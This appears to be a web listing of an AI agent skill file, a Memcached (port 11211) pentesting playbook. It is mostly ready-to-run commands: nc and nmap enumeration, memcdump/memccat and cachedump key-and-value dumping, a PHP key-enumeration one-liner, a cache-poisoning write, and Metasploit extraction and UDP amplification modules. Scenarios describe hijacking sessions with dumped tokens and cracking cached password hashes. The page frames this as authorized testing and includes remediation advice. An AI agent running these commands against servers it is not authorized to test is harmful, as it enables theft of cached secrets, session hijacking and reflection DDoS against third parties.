Pentesting memcached

From xalgorix/xalgorix · View interactive version

Pentesting memcached is an AI agent skill from the GitHub repository xalgorix/xalgorix. Testing Memcached distributed memory caching servers (default port 11211 TCP/UDP) for unauthenticated stats/version access, slab-based key dumping and cached-data exfiltration, cache poisoning, and the UDP reflection/amplification DDoS primitive during authorized engagements.

How to use this skill

Skill file

Pentesting Memcached (port 11211)

When to Use

Quick Enumeration

echo "version" | nc -vn -w 1 <IP> 11211      # version
echo "stats"   | nc -vn -w 1 <IP> 11211      # server stats (pid, uptime, curr_items)
echo "stats slabs" | nc -vn -w 1 <IP> 11211  # slab classes holding data
echo "stats items" | nc -vn -w 1 <IP> 11211  # item counts per slab

nmap -n -sV --script memcached-info -p11211 <IP>
msfconsole -q -x 'use auxiliary/gather/memcached_extractor; set RHOSTS <IP>; run; exit'

Critical: Checks Most Often Missed

Workflow

Step 1: Enumerate

echo "version" | nc -vn -w 1 <IP> 11211
echo "stats"   | nc -vn -w 1 <IP> 11211       # note curr_items, total_items
echo "stats slabs" | nc -vn -w 1 <IP> 11211
echo "stats items" | nc -vn -w 1 <IP> 11211
nmap -sU -sV -p11211 <IP>                      # check UDP exposure

Step 2: Authenticate (usually none; SASL if present)

# Most servers are unauthenticated. If SASL is enabled you need valid creds:
#   the binary protocol SASL handshake is required (libmemcached / mcrouter clients).
# Verify whether auth is required by attempting plain stats; a clean response = no auth.
echo "stats" | nc -w1 <IP> 11211

Step 3: Exploit / Extract (dump keys + cached data)

# libmemcached-tools fast path
sudo apt install libmemcached-tools
memcstat --servers=<IP>                        # stats
memcdump --servers=<IP>                        # ALL key names
memccat  --servers=<IP> <key1> <key2>          # values for keys

# Manual slab dump (memcached <= 1.4.30)
echo "stats items" | nc -w1 <IP> 11211         # find slab class numbers
echo "stats cachedump 1 0" | nc -w1 <IP> 11211 # ITEM <key> ... per slab (0 = unlimited)
echo "get <key>" | nc -w1 <IP> 11211           # retrieve the value

# Production-safe dump (memcached >= 1.4.31)
echo 'lru_crawler metadump all' | nc <IP> 11211 | head

# PHP one-liner to enumerate keys
php -r '$c=new Memcached(); $c->addServer("<IP>",11211); var_dump($c->getAllKeys());'
# Cache poisoning (write test)
printf 'set app_flag 0 3600 1\r\n1\r\n' | nc -w1 <IP> 11211   # STORED

Step 4: Post-access / impact / pivot

Key Concepts

| Concept | Description |

|---------|-------------|

| Slab / slab class | Memory grouped by chunk size; keys are dumped per slab class. |

| stats cachedump | Legacy command listing key names per slab (≤ 1MB, deprecated). |

| lru_crawler metadump | Non-blocking key-metadata dump for memcached ≥ 1.4.31. |

| No auth default | SASL is supported but rarely enabled; most servers accept plain commands. |

| UDP amplification | Spoofed UDP requests on 11211 yield large responses for reflection DDoS. |

| Cache volatility | Data is transient; keys appear/disappear as items are evicted. |

| 1MB / page limit | Default max object size and per-slab dump page constrain extraction. |

Tools & Systems

| Tool | Purpose |

|------|---------|

| nc / telnet | Raw text-protocol interaction: version, stats, cachedump, get, set. |

| libmemcached-tools | memcstat, memcdump (all keys), memccat (values). |

| nmap NSE | memcached-info for unauthenticated info gathering. |

| Metasploit | gather/memcached_extractor (dump data), scanner/memcached/memcached_amp (UDP amplification check). |

| php-memcached / perl memdump | Scriptable key enumeration and value dumping. |

| peep | Workaround the 1MB limit to dump ALL keys — freezes the process (lab use only). |

Common Scenarios

Scenario 1: Unauth dump → session hijack

echo stats | nc <IP> 11211 works with no auth. memcdump lists keys and memccat reveals cached session objects; the tester replays a valid session token to access the app as another user.

Scenario 2: Cached credential exposure

An app caches SQL query results in Memcached. Dumping keys exposes rows containing usernames and password hashes, which are cracked and reused against SSH and the web login.

Scenario 3: UDP amplification exposure

nmap -sU -p11211 shows UDP open and memcached_amp confirms a large reflection factor. The exposure is reported as a reflection/amplification DDoS risk with a recommendation to disable UDP.

Output Format

## Memcached Finding

**Service**: Memcached
**Port**: 11211/tcp+udp (memcached 1.4.25)
**Severity**: High
**Finding**: Unauthenticated Memcached exposing cached data and UDP amplification
**Evidence**:
  - `echo stats | nc <IP> 11211` -> STAT pid ... (no auth)
  - memcdump --servers=<IP> -> session:* keys; memccat revealed valid session tokens
  - nmap -sU -p11211 + memcached_amp -> amplification possible
**Impact**: Unauthenticated theft of cached secrets/session tokens and use of the server for reflection DDoS.
**Recommendation**:
  1. Bind to localhost / private interface and restrict 11211 by firewall.
  2. Disable UDP (`-U 0`) to eliminate amplification; enable SASL authentication.
  3. Avoid caching plaintext secrets/session material; encrypt sensitive cached values.
  4. Run memcached as an unprivileged user and keep it off untrusted networks.
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.